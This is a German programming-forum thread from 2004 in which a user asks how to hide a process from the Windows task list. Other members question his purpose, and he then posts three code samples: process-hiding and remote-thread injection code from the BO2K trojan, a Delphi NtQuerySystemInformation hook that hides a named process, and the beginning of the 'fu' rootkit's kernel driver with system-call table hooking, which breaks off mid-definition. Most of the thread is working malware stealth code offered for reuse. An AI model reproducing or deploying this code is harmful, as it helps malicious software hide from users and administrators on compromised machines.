Autor Beitrag
k4hvd
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Beiträge: 17



BeitragVerfasst: Mo 29.03.04 10:15 
Hallo leute,
kann einer einen weg den Prozess in der Taskliste zu Verstecken? Unter WIn9X ist es ja einfach aber wie sieht es mit 2000 und XP aus! Ich hab so einiges gefunden aber nur in C++.
Motzi
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 2931

XP Prof, Vista Business
D6, D2k5-D2k7 je Prof
BeitragVerfasst: Mo 29.03.04 10:36 
Das ist nicht möglich..! Außerdem seh ich auch keinen Sinn darin das zu tun..! Du kannst mal hier im Forum suchen, es hat schon einige Leute gegeben die das gefragt haben und keiner von ihnen hat einen guten Grund angeben können was das für einen Sinn haben sollte... hast du einen?

_________________
gringo pussy cats - eef i see you i will pull your tail out by eets roots!
k4hvd Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Beiträge: 17



BeitragVerfasst: Mo 29.03.04 11:55 
Willst du darauf hinaus dass ich irgendwelche viren oder ähnliches schreiben will :!: :!:
Ich Programmiere seit 9 Jahren, und als Programmierer möchte ich mich weiterbilden, was´ganz natürlich ist. Dann muss ich dir leider sagen dass ich möglich ist, einfachste möglichkeit währe den NTQuerySysteminformation Hook, was Madshi Codehook machen kann (www.madshi.net/).

Aber wenn ich mir euer Hilfsbereitschaft und Intresse ansehe dann gehe ich doch lieber zurüch zu Experts Exchange wo man mir als experte auch andere leute wirklich helfen kann!!!!!!!!!!!!!!!!!!!!!
Lux
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 104

Win XP Home
D2005 Pers.
BeitragVerfasst: Mo 29.03.04 12:02 
Nirgends im Beitrag steht, dass Motzi davon ausgeht, dass du Viren Proggen willst...
Also kein Grund gleich so ausfallend zu werden ...
Motzi
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 2931

XP Prof, Vista Business
D6, D2k5-D2k7 je Prof
BeitragVerfasst: Mo 29.03.04 12:35 
Ich hab nie behauptet, dass du viren schreiben willst..! Ich hab nur gefragt ob du einen guten Grund für dieses Vorhaben hast...!

Ok, mit aufwändigem API-Hooking o.ä. lässt es sich vielleicht machen... aber das ist im Prinzip die "Holzhammer-Methode", denn es gibt genug andere Möglichkeiten Code unbemerkt auszuführen..! Die Frage ist nur warum du das machen willst.. ich will dir dabei nicht unterstellen, dass du vorhast damit viren o.ä. zu schreiben, aber dieses Wissen lässt sich auch sehr leicht missbrauchen..!

_________________
gringo pussy cats - eef i see you i will pull your tail out by eets roots!
k4hvd Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Beiträge: 17



BeitragVerfasst: Mo 29.03.04 13:13 
Wie schon gesagt, ich möchte mich gerne weiterbilden!!
MathiasSimmack
Ehemaliges Mitglied
Erhaltene Danke: 1



BeitragVerfasst: Mo 29.03.04 14:51 
Da du geschrieben hast, dass du ein bisschen Material in C gefunden hast, wäre mein erster Ansatzpunkt, dieses Material zu analysieren (sprich: gucken, was es macht, ggf. Befehle nachschlagen) und versuchen, das in Delphi umzusetzen. Ich denke, eine bessere Weiterbildung gibt es nicht. ;)

Ich gebe zu, ich habe keine Ahnung, wie man Prozesse unter NT-Systemen versteckt. Und da bin ich bestimmt nicht der einzige. Darum ist die Ausrede: "Ich helfe dir nicht, weil du bestimmt Viren programmieren willst." für mich immer ganz elegant. :mrgreen:
Motzi
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 2931

XP Prof, Vista Business
D6, D2k5-D2k7 je Prof
BeitragVerfasst: Mo 29.03.04 18:42 
Zeig mal die C-Schnipsel die du gefunden hast.. der erste Ansatz wäre, wie MathiasSimmack bereits geschrieben hat, diese zu analysieren...

Ansonsten kann ich dir ein paar Anstöße geben - für dich als erfahrener Programmierer sollte es ja dann kein Problem sein sich weiter damit zu beschäftigen, aber ich mag hier keine Copy&Paste Lösungen posten die dann jedes Script-Kiddie in sein nettes Scherz-Programm einbauen kann..

_________________
gringo pussy cats - eef i see you i will pull your tail out by eets roots!
toms
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 1099
Erhaltene Danke: 2



BeitragVerfasst: Mo 29.03.04 19:39 
Warum machst du keinen NT Service?
k4hvd Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Beiträge: 17



BeitragVerfasst: Di 30.03.04 13:41 
na gut, ich wollte es eigentlich lassen aber bitte:

beispiel 1 von BO2K in C++

ausblenden volle Höhe Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:
180:
181:
182:
183:
184:
185:
186:
187:
188:
189:
190:
191:
192:
193:
194:
195:
196:
197:
198:
199:
200:
201:
202:
203:
204:
205:
206:
207:
208:
209:
210:
211:
212:
213:
214:
215:
216:
217:
218:
219:
220:
221:
222:
223:
224:
225:
226:
227:
228:
229:
230:
231:
232:
233:
234:
235:
236:
237:
238:
239:
240:
241:
242:
243:
244:
245:
246:
247:
248:
249:
250:
251:
252:
253:
254:
255:
256:
257:
258:
259:
260:
261:
262:
263:
264:
265:
266:
267:
268:
269:
270:
#include<windows.h>
#include<main.h>
#include<bo_debug.h>
#include<functions.h>
#include<osversion.h>
#include<dll_load.h>
#include<pviewer.h>
#include<process_hop.h>
#include<config.h>

// --------------------- Code to hide Win95 processes ----------------------

void __declspec(naked) StartOfHappyCode(void)
{
}

BOOL WINAPI FakeProcess32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)
{
  if(((PROCESSWALK)0x22222222)(hSnapshot, lppe)==FALSE) return FALSE;
  while(lppe->th32ProcessID==0x11111111) {
    if(((PROCESSWALK)0x33333333)(hSnapshot, lppe)==FALSE) return FALSE;
  }
  return TRUE;
}

BOOL WINAPI FakeProcess32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)
{
  if(((PROCESSWALK)0x33333333)(hSnapshot, lppe)==FALSE) return FALSE;
  while(lppe->th32ProcessID==0x11111111) {
    if(((PROCESSWALK)0x33333333)(hSnapshot, lppe)==FALSE) return FALSE;
  }
  return TRUE;
}

BOOL WINAPI FakeThread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte)
{
  if(((THREADWALK)0x44444444)(hSnapshot, lpte)==FALSE) return FALSE;
  while(lpte->th32OwnerProcessID==0x11111111) {
    if(((THREADWALK)0x55555555)(hSnapshot, lpte)==FALSE) return FALSE;
  }
  return TRUE;
}

BOOL WINAPI FakeThread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte)
{
  if(((THREADWALK)0x55555555)(hSnapshot, lpte)==FALSE) return FALSE;
  while(lpte->th32OwnerProcessID==0x11111111) {
    if(((THREADWALK)0x55555555)(hSnapshot, lpte)==FALSE) return FALSE;
  }
  return TRUE;
}

BOOL WINAPI FakeModule32First(HANDLE hSnapshot, LPMODULEENTRY32 lpme)
{
  if(((MODULEWALK)0x66666666)(hSnapshot, lpme)==FALSE) return FALSE;
  while(lpme->th32ProcessID==0x11111111) {
    if(((MODULEWALK)0x77777777)(hSnapshot, lpme)==FALSE) return FALSE;
  }
  return TRUE;
}

BOOL WINAPI FakeModule32Next(HANDLE hSnapshot, LPMODULEENTRY32 lpme)
{
  if(((MODULEWALK)0x77777777)(hSnapshot, lpme)==FALSE) return FALSE;
  while(lpme->th32ProcessID==0x11111111) {
    if(((MODULEWALK)0x77777777)(hSnapshot, lpme)==FALSE) return FALSE;
  }
  return TRUE;
}

void __declspec(naked) EndOfHappyCode(void)
{
}



BOOL SpawnBO2KThread(const char *svProcess)
{  
  if(g_bIsWinNT) {  //---------------------- WINDOWS NT PROCESS HIDE -------------------
    // -------------------------------------------------------
    // -- Process Hiding Code                               
    // -- Note that there are several different ways to do  
    // -- what this code does. Both of the methods presented
    // -- below were written specifically to avoid accessing
    // -- the original BO2K image on disk.
    // -- This way, the original BO2K disk file can be compressed
    // -- with all of the plugin attachments inside, and
    // -- the original executable can be moved around/deleted
    // -- while the BO2K server still runs.
    
    // Get another process and thread id
    PROCESSINFO *ppie,*ppi=CreateProcListSnapshot(NULL);
    DWORD dwThreadID, dwProcID;
    
    for(ppie=ppi;ppie!=NULL;ppie=ppie->next) {
      if(lstrcmpi(ppie->svApp,svProcess)==0) break;
    }
    if(ppie==NULL) return FALSE;
    
    dwProcID=ppie->dwProcID;
    dwThreadID=ppie->pThread->dwThreadID; // Get first thread (doesn't really matter)
    
    DestroyProcListSnapshot(ppi);
    
    // Make sure we aren't hopping into ourselves
    if(GetCurrentProcessId()==dwProcID) return FALSE;

    // Open process to inject code into
    HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcID);
    if(hProc==NULL) {
      DebugMessageBox(NULL,"Unable to open process","ERROR",MB_SETFOREGROUND);
      return FALSE;
    }
    
    // Free space for BO2K (in case we are restarting)
    pVirtualFreeEx(hProc,g_module,0,MEM_RELEASE);
    
    // Allocate space for BO2K to fit in the process
    DWORD dwSize=((PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(g_module))->SizeOfImage;
    char *pMem=(char *)pVirtualAllocEx(hProc,g_module,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    if(pMem==NULL) {
      DebugMessageBox(NULL,"Couldn't VirtualAllocEx","Error",MB_SETFOREGROUND);
      return FALSE;
    }
    
    // Lets copy the entire bo2k process into this space.
    DWORD dwOldProt,dwNumBytes,i;
    MEMORY_BASIC_INFORMATION mbi;
    
    pVirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
    while(mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) {
      if(!(mbi.Protect & PAGE_GUARD)) {
        for(i=0;i<mbi.RegionSize;i+=0x1000) {
          pVirtualProtectEx(hProc,pMem+i,0x1000,PAGE_EXECUTE_READWRITE,&dwOldProt);
          WriteProcessMemory(hProc,pMem+i,pMem+i,0x1000,&dwNumBytes);
        }
      }
      
      pMem+=mbi.RegionSize;
      pVirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));  
    }
    
    // Create a remote thread in the other process
    DWORD dwRmtThdID;
    HANDLE hRmtThd=pCreateRemoteThread(hProc,NULL,0,EntryPoint,(LPVOID)g_module,0,&dwRmtThdID);
    if(hRmtThd==NULL) {
      DebugMessageBox(NULL,"Could create remote thread","ERROR",MB_SETFOREGROUND);
      return FALSE;
    }
    
    CloseHandle(hProc);
    return 0;
    
  } else { //---------------------------------- WINDOWS 95 PROCESS HIDE -------------
    // This one works differently because we don't necessarily have
    // the functionality to do a 'CreateRemoteThread()'. And for 
    // various reasons, hijacking another thread and changing its
    // context to do your bidding doens't really work. It's because
    // the thread you hijack may be blocked on a mutex/semaphore/etc
    // and won't resume execution to run your code until the blocking
    // ID is signaled by the system. So, we have to just hack kernel32.dll
    // to forget that our process exists :)

    // Start up PE Image Loader

    pRegisterServiceProcess(NULL,1);
  
    // Get undocumented VxDCall procedure
    HMODULE hModule=GetModuleHandle("kernel32.dll");
    FARPROC VxDCall=GetDLLProcAddress(hModule,(LPCSTR)1);
    
    // Check for kernel32.dll export table
    PIMAGE_OPTIONAL_HEADER poh=(PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(hModule);
    DWORD dwSize=poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    if(dwSize==0) return NULL;

    // Good, we have an export table. Lets get it.
    PIMAGE_EXPORT_DIRECTORY ped;
    ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);  
  
    // Change protection on kernel32.dll export table (make writable)
    // (can't use "VirtualProtect")
    DWORD dwFirstPage, dwNumPages;
    dwFirstPage=((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))/4096;
    dwNumPages=((( (((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))-(dwFirstPage*4096)+ped->NumberOfFunctions)) *4)+4095)/4096;
    
    _asm {  
      push 020060000h                 // PC_WRITEABLE | PC_USER | PC_STATIC
      push 0FFFFFFFFh                 // Keep all previous bits
      push dword ptr [dwNumPages]     // dword ptr [mbi+0Ch] # of pages
      push dword ptr [dwFirstPage]    // dword ptr [ped] page #
      push 1000Dh            // _PageModifyPermissions (win32_service_table #)
      call dword ptr [VxDCall]    // VxDCall0
    }
    
    // Fix kernel32.dll export table if I happened to f*** things
    // up earlier (run bo2k, crash out, and restart)

    SpawnCleanup();

    InitializeDLLLoad();
    
    // Get shared memory
    DWORD dwCodeSize=((DWORD)&EndOfHappyCode) - ((DWORD)&StartOfHappyCode);
    LPVOID lpBase;
    lpBase=VirtualAlloc((LPVOID)0x9CDC0000,dwCodeSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    if(lpBase!=(LPVOID)0x9CDC0000) lpBase=(LPVOID)0x9CDC0000;

    // Copy code into shared memory
    memcpy(lpBase,(void *)(&StartOfHappyCode),dwCodeSize);

    // Store procedure addresses
    DWORD dwOldAddress[6],dwCurPid;
    dwCurPid=GetCurrentProcessId();
    dwOldAddress[0]=(DWORD)GetDLLProcAddress(hModule,"Process32First");
    dwOldAddress[1]=(DWORD)GetDLLProcAddress(hModule,"Process32Next");
    dwOldAddress[2]=(DWORD)GetDLLProcAddress(hModule,"Thread32First");
    dwOldAddress[3]=(DWORD)GetDLLProcAddress(hModule,"Thread32Next");
    dwOldAddress[4]=(DWORD)GetDLLProcAddress(hModule,"Module32First");
    dwOldAddress[5]=(DWORD)GetDLLProcAddress(hModule,"Module32Next");

    // Modify code to correct addresses
    DWORD i;
    for(i=0;i<(dwCodeSize-4);i++) {
      DWORD *dwPtr=(DWORD *)((BYTE *)lpBase+i);
      if     (*dwPtr==0x11111111) *dwPtr=dwCurPid;
      else if(*dwPtr==0x22222222) *dwPtr=(DWORD)dwOldAddress[0];
      else if(*dwPtr==0x33333333) *dwPtr=(DWORD)dwOldAddress[1];
      else if(*dwPtr==0x44444444) *dwPtr=(DWORD)dwOldAddress[2];
      else if(*dwPtr==0x55555555) *dwPtr=(DWORD)dwOldAddress[3];
      else if(*dwPtr==0x66666666) *dwPtr=(DWORD)dwOldAddress[4];
      else if(*dwPtr==0x77777777) *dwPtr=(DWORD)dwOldAddress[5];
    }    

    // Now we modify the export table to point to our replacement code

    SetDLLProcAddress(hModule,"Process32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32First)));
    SetDLLProcAddress(hModule,"Process32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32Next)));
    SetDLLProcAddress(hModule,"Thread32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32First)));
    SetDLLProcAddress(hModule,"Thread32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32Next)));
    SetDLLProcAddress(hModule,"Module32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32First)));
    SetDLLProcAddress(hModule,"Module32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32Next)));

    // Done with dll_load
    KillDLLLoad();

    EntryPoint(GetModuleHandle(NULL));
    
    SpawnCleanup();

  }

  return TRUE;
}  

void SpawnCleanup(void)
{
  if(!g_bIsWinNT) {
    InitializeDLLLoad();
    HMODULE hModule=GetModuleHandle("kernel32.dll");

    ResetDLLProcAddress(hModule,"Process32First");
    ResetDLLProcAddress(hModule,"Process32Next");
    ResetDLLProcAddress(hModule,"Thread32First");
    ResetDLLProcAddress(hModule,"Thread32Next");
    ResetDLLProcAddress(hModule,"Module32First");
    ResetDLLProcAddress(hModule,"Module32Next");
    KillDLLLoad();
  }
}


beispiel 2, NTQuerysysteminformation und Madshid Codehook
ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
Library whatever
uses windows, MadCodeHook;
var NtQuerySystemInformationNextHook:function(
 SystemInformationClass,
 SystemInformation,
 SystemInformationLength,
 ReturnLength):DWORD;stdcall;

type
IO_COUNTERS = record
  ReadOperationCount:Int64;
  WriteOperationCount:Int64;
  OtherOperationCount:Int64;
  ReadTransferCount:Int64;
  WriteTransferCount:Int64;
  OtherTransferCount:Int64;
end;
VM_COUNTERS = record
  PeakVirtualSize:ULONG;
  VirtualSize:ULONG;
  PageFaultCount:ULONG;
  PeakWorkingSetSize:ULONG;
  WorkingSetSize:ULONG;
  QuotaPeakedPagedPoolUsage:ULONG;
  QuotaPagedPoolUsage:ULONG;
  QuotaPeakNonPagedPoolUsage:ULONG;
  QuotaNonPagedPoolUsage:ULONG;
  PagefileUsage:ULONG;
  PeakPagefileUsage:ULONG;
end;

PSYSTEM_PROCESS = ^SYSTEM_PROCESS;
SYSTEM_PROCESS = record
  NextEntryDelta:ULONG;
  ThreadCount:ULONG;
  Reserved:array[0..5] of ULONG;

  CreateTime:LARGE_INTEGER;
  UserTime:LARGE_INTEGER;
  KernelTime:LARGE_INTEGER;

  ProcessName:PWideChar;

  BasePriority:DWORD;
  ProcessID:ULONG;
  InheritedFromProcessID:ULONG;
  HandleCount:ULONG;
  Reserved2:array[0..1] of ULONG;
  VmCounters:VM_COUNTERS;
  IoCounters:IO_COUNTERS;
  Threads:Pointer;
end;

function NtQuerySystemInformationCallback(
SystemInformationClass:DWORD;
SystemInformation:Pointer;
SystemInformationLength:ULONG;
ReturnLength:PULONG):ULONG;
var
iChanged:Integer;
pCurrent, pLast:PSYSTEM_PROCESS;
begin
result :=
NtQuerySystemInformationNextHook(
  SystemInformationClass,
  SystemInformation,
  SystemInformationLength,
  ReturnLength);
if (result <> 0) then
  exit;
if (SystemInformationClass <> 5) then
  exit;
pCurrent := PSYSTEM_PROCESS(SystemInformation);
pLast := nil;

while (pCurrent <> nil) do
begin
  if (WideCharToString(pCurrent.ProcessName) = 'myprocess.exe') then
  begin
    inc(iChanged);
    if (pLast <> nil) then
    begin

      if (pCurrent.NextEntryDelta <> 0) then
      begin
        inc(pLast.NextEntryDelta, pCurrent.NextEntryDelta);
      end //NextEntryDelta <> 0
      else
      begin
        pLast.NextEntryDelta := 0;
      end //NextEntryDelta = 0
    end //pLast <> nil
    else
    begin
      if (pCurrent.NextEntryDelta <> 0) then
      begin
        SystemInformation := Pointer(DWORD(SystemInformation) + pCurrent.NextEntryDelta);
      end
      else
      begin
        SystemInformation := nil;
      end;
    end; //pLast = nil
  end; //found our proc
  if (iChanged = 0) then
  begin
    pLast := pCurrent;
  end;

  if (pCurrent.NextEntryDelta <> 0) then
  begin
    pCurrent := PSYSTEM_PROCESS(
                                Pointer(
                                    DWORD(pCurrent) + pCurrent.NextEntryDelta));
  end
  else
    pCurrent := nil;
end;
end; 

begin
HookCode(@NtQuerySystemInformation, @NtQuerySystemInformationCallback, @NtQuerySystemInformationNextHook);
end.


Beispiel 3, fu in C++

ausblenden volle Höhe Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:
180:
181:
182:
183:
184:
185:
186:
187:
188:
189:
190:
191:
192:
193:
194:
195:
196:
197:
198:
199:
200:
201:
202:
203:
204:
205:
206:
207:
208:
209:
210:
211:
212:
213:
214:
215:
216:
217:
218:
219:
220:
221:
222:
223:
224:
225:
226:
227:
228:
229:
230:
231:
232:
233:
234:
235:
236:
237:
238:
239:
240:
241:
242:
243:
244:
245:
246:
247:
248:
249:
250:
251:
252:
253:
254:
255:
256:
257:
258:
259:
260:
261:
262:
263:
264:
265:
266:
267:
268:
269:
270:
271:
272:
273:
274:
275:
276:
277:
278:
279:
280:
281:
282:
283:
284:
285:
286:
287:
288:
289:
290:
291:
292:
293:
294:
295:
296:
297:
298:
299:
300:
301:
302:
303:
304:
305:
306:
307:
308:
309:
310:
311:
312:
313:
314:
315:
316:
317:
318:
319:
320:
321:
322:
323:
324:
325:
326:
327:
328:
329:
330:
331:
332:
333:
334:
335:
336:
337:
338:
339:
340:
341:
342:
343:
344:
345:
346:
347:
348:
349:
350:
351:
352:
353:
354:
355:
356:
357:
358:
359:
360:
361:
362:
363:
364:
365:
366:
367:
368:
369:
370:
371:
372:
373:
374:
375:
376:
377:
378:
379:
380:
381:
382:
383:
384:
385:
386:
387:
388:
389:
390:
391:
392:
393:
394:
395:
396:
397:
398:
399:
400:
401:
402:
403:
404:
405:
406:
407:
408:
409:
410:
411:
412:
413:
414:
415:
416:
417:
418:
419:
420:
421:
422:
423:
424:
425:
426:
427:
428:
429:
430:
431:
432:
433:
434:
435:
436:
437:
438:
439:
440:
441:
442:
443:
444:
445:
446:
447:
448:
449:
450:
451:
452:
453:
454:
455:
456:
457:
458:
459:
460:
461:
462:
463:
464:
465:
466:
467:
468:
469:
470:
471:
472:
473:
474:
475:
476:
477:
478:
479:
480:
481:
482:
483:
484:
485:
486:
487:
488:
489:
490:
491:
492:
493:
494:
495:
496:
497:
498:
499:
500:
501:
502:
503:
504:
505:
506:
507:
508:
509:
510:
511:
512:
513:
514:
515:
516:
517:
518:
519:
520:
521:
522:
523:
524:
525:
526:
527:
528:
529:
530:
531:
532:
533:
534:
535:
536:
537:
538:
539:
540:
541:
542:
543:
544:
545:
546:
547:
548:
549:
550:
551:
552:
553:
554:
555:
556:
557:
558:
559:
560:
561:
562:
563:
564:
565:
566:
567:
568:
569:
570:
571:
572:
573:
574:
575:
576:
577:
578:
579:
580:
581:
582:
583:
584:
585:
586:
587:
588:
589:
590:
591:
592:
593:
594:
595:
596:
597:
598:
599:
600:
601:
602:
603:
604:
605:
606:
607:
608:
609:
610:
611:
612:
613:
614:
615:
616:
617:
618:
619:
620:
621:
622:
623:
624:
625:
626:
627:
628:
629:
630:
631:
632:
633:
634:
635:
636:
637:
638:
639:
640:
641:
642:
643:
644:
645:
646:
647:
648:
649:
650:
651:
652:
653:
654:
655:
656:
657:
658:
659:
660:
661:
662:
663:
664:
665:
666:
#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"

#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN     20
// Maximum length of NT process name
#define NT_PROCNAMELEN  16

ULONG gProcessNameOffset;

typedef struct _FILETIME { // ft 
    DWORD dwLowDateTime; 
    DWORD dwHighDateTime; 
} FILETIME; 

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

#if 0
typedef enum _WXPFILE_INFORMATION_CLASS {
// end_wdm
    FileDirectoryInformation         = 1,
    FileFullDirectoryInformation,   // 2
    FileBothDirectoryInformation,   // 3
    FileBasicInformation,           // 4  wdm
    FileStandardInformation,        // 5  wdm
    FileInternalInformation,        // 6
    FileEaInformation,              // 7
    FileAccessInformation,          // 8
    FileNameInformation,            // 9
    FileRenameInformation,          // 10
    FileLinkInformation,            // 11
    FileNamesInformation,           // 12
    FileDispositionInformation,     // 13
    FilePositionInformation,        // 14 wdm
    FileFullEaInformation,          // 15
    FileModeInformation,            // 16
    FileAlignmentInformation,       // 17
    FileAllInformation,             // 18
    FileAllocationInformation,      // 19
    FileEndOfFileInformation,       // 20 wdm
    FileAlternateNameInformation,   // 21
    FileStreamInformation,          // 22
    FilePipeInformation,            // 23
    FilePipeLocalInformation,       // 24
    FilePipeRemoteInformation,      // 25
    FileMailslotQueryInformation,   // 26
    FileMailslotSetInformation,     // 27
    FileCompressionInformation,     // 28
    FileObjectIdInformation,        // 29
    FileCompletionInformation,      // 30
    FileMoveClusterInformation,     // 31
    FileQuotaInformation,           // 32
    FileReparsePointInformation,    // 33
    FileNetworkOpenInformation,     // 34
    FileAttributeTagInformation,    // 35
    FileTrackingInformation,        // 36
    FileIdBothDirectoryInformation,     // 37
    FileIdFullDirectoryInformation, // 38
    FileValidDataLengthInformation, // 39
    FileShortNameInformation,       // 40
        FileMaximumInformation
// begin_wdm
} WXPFILE_INFORMATION_CLASS, *PWXPFILE_INFORMATION_CLASS;
#endif
#define FileIdFullDirectoryInformation 38
#define FileIdBothDirectoryInformation 37


typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
